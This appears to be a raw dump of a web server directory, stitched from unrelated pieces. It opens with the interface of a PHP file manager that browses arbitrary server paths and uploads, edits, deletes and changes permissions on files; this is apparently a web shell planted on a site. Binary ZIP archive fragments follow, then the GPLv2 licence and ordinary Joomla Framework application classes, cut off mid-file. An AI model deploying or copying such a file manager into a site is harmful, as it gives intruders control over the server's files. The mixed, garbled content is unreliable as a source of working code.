<div class="form-group">
<input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
</div>
<button type="submit" class="btn
btn-primary mb-2">Upload</button>
</form>
</div>
</div>
<!-- Directory Content -->
<div class="card">
<div class="card-header">
<h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
</div>
<div class="card-body">
<ul class="list-group">
<?php foreach ($files as $file): ?>
<?php if ($file !== '.' && $file
!== '..'): ?>
<li class="list-group-item d-flex
justify-content-between align-items-center">
<?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
<a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
<strong><?php echo
htmlspecialchars($file); ?></strong>
</a>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
</form>
<?php else: ?>
<?php echo htmlspecialchars($file);
?>
(<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>)
<span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
<div>
<button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<button type="submit"
class="btn btn-danger btn-sm">Delete</button>
</form>
<form action=""
method="POST" style="display: inline;">
<input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
<input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
<button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
</form>
</div>
<?php endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
</div>
</div>
</div>
<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Edit
File</h5>
<button type="button"
class="btn-close"
onclick="closeModal()"></button>
</div>
<div class="modal-body">
<form action="" method="POST">
<input type="hidden"
name="edit_file" id="edit_file">
<div class="form-group">
<textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
</div>
<button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
</form>
</div>
<div class="modal-footer">
<button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
</div>
</div>
</div>
</div>
<script>
function editFile(filePath) {
document.getElementById('editModal').style.display =
'block';
document.getElementById('edit_file').value = filePath;
// Load file content using Ajax
var xhr = new XMLHttpRequest();
xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('file_content').value =
xhr.responseText;
}
};
xhr.send();
}
function closeModal() {
document.getElementById('editModal').style.display =
'none';
}
</script>
<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
PK���[�P�E�Eapplication/LICENSEnu�[���GNU
GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK���[q�Z��'application/src/AbstractApplication.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application;
use Joomla\Input\Input;
use Joomla\Registry\Registry;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;
/**
* Joomla Framework Base Application Class
*
* @since 1.0
*/
abstract class AbstractApplication implements LoggerAwareInterface
{
/**
* The application configuration object.
*
* @var Registry
* @since 1.0
*/
protected $config;
/**
* The application input object.
*
* @var Input
* @since 1.0
*/
public $input;
/**
* A logger.
*
* @var LoggerInterface
* @since 1.0
*/
private $logger;
/**
* Class constructor.
*
* @param Input $input An optional argument to provide dependency
injection for the application's input object. If the argument is an
* Input object that object will become the
application's input object, otherwise a default input object is
created.
* @param Registry $config An optional argument to provide dependency
injection for the application's config object. If the argument
* is a Registry object that object will
become the application's config object, otherwise a default config
* object is created.
*
* @since 1.0
*/
public function __construct(Input $input = null, Registry $config = null)
{
$this->input = $input instanceof Input ? $input : new Input;
$this->config = $config instanceof Registry ? $config : new Registry;
// Set the execution datetime and timestamp;
$this->set('execution.datetime', gmdate('Y-m-d
H:i:s'));
$this->set('execution.timestamp', time());
$this->set('execution.microtimestamp', microtime(true));
$this->initialise();
}
/**
* Method to close the application.
*
* @param integer $code The exit code (optional; default is 0).
*
* @return void
*
* @codeCoverageIgnore
* @since 1.0
*/
public function close($code = 0)
{
exit($code);
}
/**
* Method to run the application routines. Most likely you will want to
instantiate a controller
* and execute it, or perform some sort of task directly.
*
* @return mixed
*
* @since 1.0
*/
abstract protected function doExecute();
/**
* Execute the application.
*
* @return void
*
* @since 1.0
*/
public function execute()
{
// @event onBeforeExecute
// Perform application routines.
$this->doExecute();
// @event onAfterExecute
}
/**
* Returns a property of the object or the default value if the property
is not set.
*
* @param string $key The name of the property.
* @param mixed $default The default value (optional) if none is set.
*
* @return mixed The value of the configuration.
*
* @since 1.0
*/
public function get($key, $default = null)
{
return $this->config->get($key, $default);
}
/**
* Get the logger.
*
* @return LoggerInterface
*
* @since 1.0
*/
public function getLogger()
{
// If a logger hasn't been set, use NullLogger
if (! ($this->logger instanceof LoggerInterface))
{
$this->logger = new NullLogger;
}
return $this->logger;
}
/**
* Custom initialisation method.
*
* Called at the end of the AbstractApplication::__construct method.
* This is for developers to inject initialisation code for their
application classes.
*
* @return void
*
* @codeCoverageIgnore
* @since 1.0
*/
protected function initialise()
{
}
/**
* Modifies a property of the object, creating it if it does not already
exist.
*
* @param string $key The name of the property.
* @param mixed $value The value of the property to set (optional).
*
* @return mixed Previous value of the property
*
* @since 1.0
*/
public function set($key, $value = null)
{
$previous = $this->config->get($key);
$this->config->set($key, $value);
return $previous;
}
/**
* Sets the configuration for the application.
*
* @param Registry $config A registry object holding the
configuration.
*
* @return AbstractApplication Returns itself to support chaining.
*
* @since 1.0
*/
public function setConfiguration(Registry $config)
{
$this->config = $config;
return $this;
}
/**
* Set the logger.
*
* @param LoggerInterface $logger The logger.
*
* @return AbstractApplication Returns itself to support chaining.
*
* @since 1.0
*/
public function setLogger(LoggerInterface $logger)
{
$this->logger = $logger;
return $this;
}
}
PK���[N�K�YY*application/src/AbstractCliApplication.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application;
use Joomla\Input;
use Joomla\Registry\Registry;
/**
* Base class for a Joomla! command line application.
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
abstract class AbstractCliApplication extends AbstractApplication
{
/**
* Output object
*
* @var Cli\CliOutput
* @since 1.0
*/
protected $output;
/**
* CLI Input object
*
* @var Cli\CliInput
* @since 1.6.0
*/
protected $cliInput;
/**
* Class constructor.
*
* @param Input\Cli $input An optional argument to provide
dependency injection for the application's input object. If the
* argument is an Input\Cli object that
object will become the application's input object, otherwise
* a default input object is created.
* @param Registry $config An optional argument to provide
dependency injection for the application's config object. If the
* argument is a Registry object that
object will become the application's config object, otherwise
* a default config object is created.
* @param Cli\CliOutput $output An optional argument to provide
dependency injection for the application's output object. If the
* argument is a Cli\CliOutput object
that object will become the application's input object, otherwise
* a default output object is created.
* @param Cli\CliInput $cliInput An optional argument to provide
dependency injection for the application's CLI input object. If the
* argument is a Cli\CliInput object
that object will become the application's input object, otherwise
* a default input object is created.
*
* @since 1.0
*/
public function __construct(Input\Cli $input = null, Registry $config =
null, Cli\CliOutput $output = null, Cli\CliInput $cliInput = null)
{
// Close the application if we are not executed from the command line.
// @codeCoverageIgnoreStart
if (!\defined('STDOUT') || !\defined('STDIN') ||
!isset($_SERVER['argv']))
{
$this->close();
}
// @codeCoverageIgnoreEnd
$this->output = ($output instanceof Cli\CliOutput) ? $output : new
Cli\Output\Stdout;
// Set the CLI input object.
$this->cliInput = ($cliInput instanceof Cli\CliInput) ? $cliInput :
new Cli\CliInput;
// Call the constructor as late as possible (it runs `initialise`).
parent::__construct($input instanceof Input\Input ? $input : new
Input\Cli, $config);
// Set the current directory.
$this->set('cwd', getcwd());
}
/**
* Get an output object.
*
* @return Cli\CliOutput
*
* @since 1.0
*/
public function getOutput()
{
return $this->output;
}
/**
* Get a CLI input object.
*
* @return Cli\CliInput
*
* @since 1.6.0
*/
public function getCliInput()
{
return $this->cliInput;
}
/**
* Write a string to standard output.
*
* @param string $text The text to display.
* @param boolean $nl True (default) to append a new line at the end
of the output string.
*
* @return AbstractCliApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function out($text = '', $nl = true)
{
$this->getOutput()->out($text, $nl);
return $this;
}
/**
* Get a value from standard input.
*
* @return string The input string from standard input.
*
* @codeCoverageIgnore
* @since 1.0
*/
public function in()
{
return $this->getCliInput()->in();
}
}
PK���[]t?1a1a-application/src/AbstractDaemonApplication.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application;
use Joomla\Input;
use Joomla\Registry\Registry;
use Psr\Log\LoggerAwareInterface;
/**
* Class to turn Cli applications into daemons. It requires CLI and PCNTL
support built into PHP.
*
* @link https://secure.php.net/manual/en/book.pcntl.php
* @link https://secure.php.net/manual/en/features.commandline.php
* @since 1.0
* @deprecated 2.0 Deprecated without replacement
*/
abstract class AbstractDaemonApplication extends AbstractCliApplication
implements LoggerAwareInterface
{
/**
* @var array The available POSIX signals to be caught by default.
* @link https://secure.php.net/manual/pcntl.constants.php
* @since 1.0
*/
protected static $signals = array(
'SIGHUP',
'SIGINT',
'SIGQUIT',
'SIGILL',
'SIGTRAP',
'SIGABRT',
'SIGIOT',
'SIGBUS',
'SIGFPE',
'SIGUSR1',
'SIGSEGV',
'SIGUSR2',
'SIGPIPE',
'SIGALRM',
'SIGTERM',
'SIGSTKFLT',
'SIGCLD',
'SIGCHLD',
'SIGCONT',
'SIGTSTP',
'SIGTTIN',
'SIGTTOU',
'SIGURG',
'SIGXCPU',
'SIGXFSZ',
'SIGVTALRM',
'SIGPROF',
'SIGWINCH',
'SIGPOLL',
'SIGIO',
'SIGPWR',
'SIGSYS',
'SIGBABY',
'SIG_BLOCK',
'SIG_UNBLOCK',
'SIG_SETMASK',
);
/**
* @var boolean True if the daemon is in the process of exiting.
* @since 1.0
*/
protected $exiting = false;
/**
* @var integer The parent process id.
* @since 1.0
*/
protected $parentId = 0;
/**
* @var integer The process id of the daemon.
* @since 1.0
*/
protected $processId = 0;
/**
* @var boolean True if the daemon is currently running.
* @since 1.0
*/
protected $running = false;
/**
* Class constructor.
*
* @param Input\Cli $input An optional argument to provide
dependency injection for the application's input object. If the
* argument is an Input\Cli object that
object will become the application's input object, otherwise
* a default input object is created.
* @param Registry $config An optional argument to provide
dependency injection for the application's config object. If the
* argument is a Registry object that
object will become the application's config object, otherwise
* a default config object is created.
* @param Cli\CliOutput $output An optional argument to provide
dependency injection for the application's output object. If the
* argument is a Cli\CliOutput object
that object will become the application's input object, otherwise
* a default output object is created.
* @param Cli\CliInput $cliInput An optional argument to provide
dependency injection for the application's CLI input object. If the
* argument is a Cli\CliInput object
that object will become the application's input object, otherwise
* a default input object is created.
*
* @since 1.0
*/
public function __construct(Cli $input = null, Registry $config = null,
Cli\CliOutput $output = null, Cli\CliInput $cliInput = null)
{
// Verify that the process control extension for PHP is available.
// @codeCoverageIgnoreStart
if (!\defined('SIGHUP'))
{
$this->getLogger()->error('The PCNTL extension for PHP is not
available.');
throw new \RuntimeException('The PCNTL extension for PHP is not
available.');
}
// Verify that POSIX support for PHP is available.
if (!\function_exists('posix_getpid'))
{
$this->getLogger()->error('The POSIX extension for PHP is not
available.');
throw new \RuntimeException('The POSIX extension for PHP is not
available.');
}
// @codeCoverageIgnoreEnd
// Call the parent constructor.
parent::__construct($input, $config, $output, $cliInput);
// Set some system limits.
@set_time_limit($this->get('max_execution_time', 0));
if ($this->get('max_memory_limit') !== null)
{
ini_set('memory_limit',
$this->get('max_memory_limit', '256M'));
}
// Flush content immediately.
ob_implicit_flush();
}
/**
* Method to handle POSIX signals.
*
* @param integer $signal The received POSIX signal.
*
* @return void
*
* @since 1.0
* @see pcntl_signal()
* @throws \RuntimeException
*/
public function signal($signal)
{
// Log all signals sent to the daemon.
$this->getLogger()->debug('Received signal: ' . $signal);
// Let's make sure we have an application instance.
if (!is_subclass_of($this, __CLASS__))
{
$this->getLogger()->emergency('Cannot find the application
instance.');
throw new \RuntimeException('Cannot find the application
instance.');
}
// @event onReceiveSignal
switch ($signal)
{
case SIGINT:
case SIGTERM:
// Handle shutdown tasks
if ($this->running && $this->isActive())
{
$this->shutdown();
}
else
{
$this->close();
}
break;
case SIGHUP:
// Handle restart tasks
if ($this->running && $this->isActive())
{
$this->shutdown(true);
}
else
{
$this->close();
}
break;
case SIGCHLD:
// A child process has died
while ($this->pcntlWait($signal, WNOHANG || WUNTRACED) > 0)
{
usleep(1000);
}
break;
case SIGCLD:
while ($this->pcntlWait($signal, WNOHANG) > 0)
{
$signal = $this->pcntlChildExitStatus($signal);
}
break;
default:
break;
}
}
/**
* Check to see if the daemon is active. This does not assume that $this
daemon is active, but
* only if an instance of the application is active as a daemon.
*
* @return boolean True if daemon is active.
*
* @since 1.0
*/
public function isActive()
{
// Get the process id file location for the application.
$pidFile = $this->get('application_pid_file');
// If the process id file doesn't exist then the daemon is obviously
not running.
if (!is_file($pidFile))
{
return false;
}
// Read the contents of the process id file as an integer.
$fp = fopen($pidFile, 'r');
$pid = fread($fp, filesize($pidFile));
$pid = (int) $pid;
fclose($fp);
// Check to make sure that the process id exists as a positive integer.
if (!$pid)
{
return false;
}
// Check to make sure the process is active by pinging it and ensure it
responds.
if (!posix_kill($pid, 0))
{
// No response so remove the process id file and log the situation.
@ unlink($pidFile);
$this->getLogger()->warning('The process found based on PID
file was unresponsive.');
return false;
}
return true;
}
/**
* Load an object or array into the application configuration object.
*
* @param mixed $data Either an array or object to be loaded into the
configuration object.
*
* @return AbstractDaemonApplication Instance of $this to allow
chaining.
*
* @since 1.0
*/
public function loadConfiguration($data)
{
/*
* Setup some application metadata options. This is useful if we ever
want to write out startup scripts
* or just have some sort of information available to share about things.
*/
// The application author name. This string is used in generating
startup scripts and has
// a maximum of 50 characters.
$tmp = (string) $this->get('author_name', 'Joomla
Framework');
$this->set('author_name', (\strlen($tmp) > 50) ?
substr($tmp, 0, 50) : $tmp);
// The application author email. This string is used in generating
startup scripts.
$tmp = (string) $this->get('author_email',
'admin@joomla.org');
$this->set('author_email', filter_var($tmp,
FILTER_VALIDATE_EMAIL));
// The application name. This string is used in generating startup
scripts.
$tmp = (string) $this->get('application_name',
'JApplicationDaemon');
$this->set('application_name', (string)
preg_replace('/[^A-Z0-9_-]/i', '', $tmp));
// The application description. This string is used in generating
startup scripts.
$tmp = (string) $this->get('application_description',
'A generic Joomla Framework application.');
$this->set('application_description', filter_var($tmp,
FILTER_SANITIZE_STRING));
/*
* Setup the application path options. This defines the default
executable name, executable directory,
* and also the path to the daemon process id file.
*/
// The application executable daemon. This string is used in generating
startup scripts.
$tmp = (string) $this->get('application_executable',
basename($this->input->executable));
$this->set('application_executable', $tmp);
// The home directory of the daemon.
$tmp = (string) $this->get('application_directory',
\dirname($this->input->executable));
$this->set('application_directory', $tmp);
// The pid file location. This defaults to a path inside the /tmp
directory.
$name = $this->get('application_name');
$tmp = (string) $this->get('application_pid_file',
strtolower('/tmp/' . $name . '/' . $name .
'.pid'));
$this->set('application_pid_file', $tmp);
/*
* Setup the application identity options. It is important to remember
if the default of 0 is set for
* either UID or GID then changing that setting will not be attempted as
there is no real way to "change"
* the identity of a process from some user to root.
*/
// The user id under which to run the daemon.
$tmp = (int) $this->get('application_uid', 0);
$options = array('options' => array('min_range'
=> 0, 'max_range' => 65000));
$this->set('application_uid', filter_var($tmp,
FILTER_VALIDATE_INT, $options));
// The group id under which to run the daemon.
$tmp = (int) $this->get('application_gid', 0);
$options = array('options' => array('min_range'
=> 0, 'max_range' => 65000));
$this->set('application_gid', filter_var($tmp,
FILTER_VALIDATE_INT, $options));
// Option to kill the daemon if it cannot switch to the chosen identity.
$tmp = (bool) $this->get('application_require_identity', 1);
$this->set('application_require_identity', $tmp);
/*
* Setup the application runtime options. By default our execution time
limit is infinite obviously
* because a daemon should be constantly running unless told otherwise.
The default limit for memory
* usage is 128M, which admittedly is a little high, but remember it is a
"limit" and PHP's memory
* management leaves a bit to be desired :-)
*/
// The maximum execution time of the application in seconds. Zero is
infinite.
$tmp = $this->get('max_execution_time');
if ($tmp !== null)
{
$this->set('max_execution_time', (int) $tmp);
}
// The maximum amount of memory the application can use.
$tmp = $this->get('max_memory_limit', '256M');
if ($tmp !== null)
{
$this->set('max_memory_limit', (string) $tmp);
}
return $this;
}
/**
* Execute the daemon.
*
* @return void
*
* @since 1.0
*/
public function execute()
{
// @event onBeforeExecute
// Enable basic garbage collection.
gc_enable();
$this->getLogger()->info('Starting ' . $this->name);
// Set off the process for becoming a daemon.
if ($this->daemonize())
{
// Declare ticks to start signal monitoring. When you declare ticks,
PCNTL will monitor
// incoming signals after each tick and call the relevant signal handler
automatically.
declare(ticks = 1);
// Start the main execution loop.
while (true)
{
// Perform basic garbage collection.
$this->gc();
// Don't completely overload the CPU.
usleep(1000);
// Execute the main application logic.
$this->doExecute();
}
}
else
{
// We were not able to daemonize the application so log the failure and
die gracefully.
$this->getLogger()->info('Starting ' . $this->name .
' failed');
}
// @event onAfterExecute
}
/**
* Restart daemon process.
*
* @return void
*
* @codeCoverageIgnore
* @since 1.0
*/
public function restart()
{
$this->getLogger()->info('Stopping ' . $this->name);
$this->shutdown(true);
}
/**
* Stop daemon process.
*
* @return void
*
* @codeCoverageIgnore
* @since 1.0
*/
public function stop()
{
$this->getLogger()->info('Stopping ' . $this->name);
$this->shutdown();
}
/**
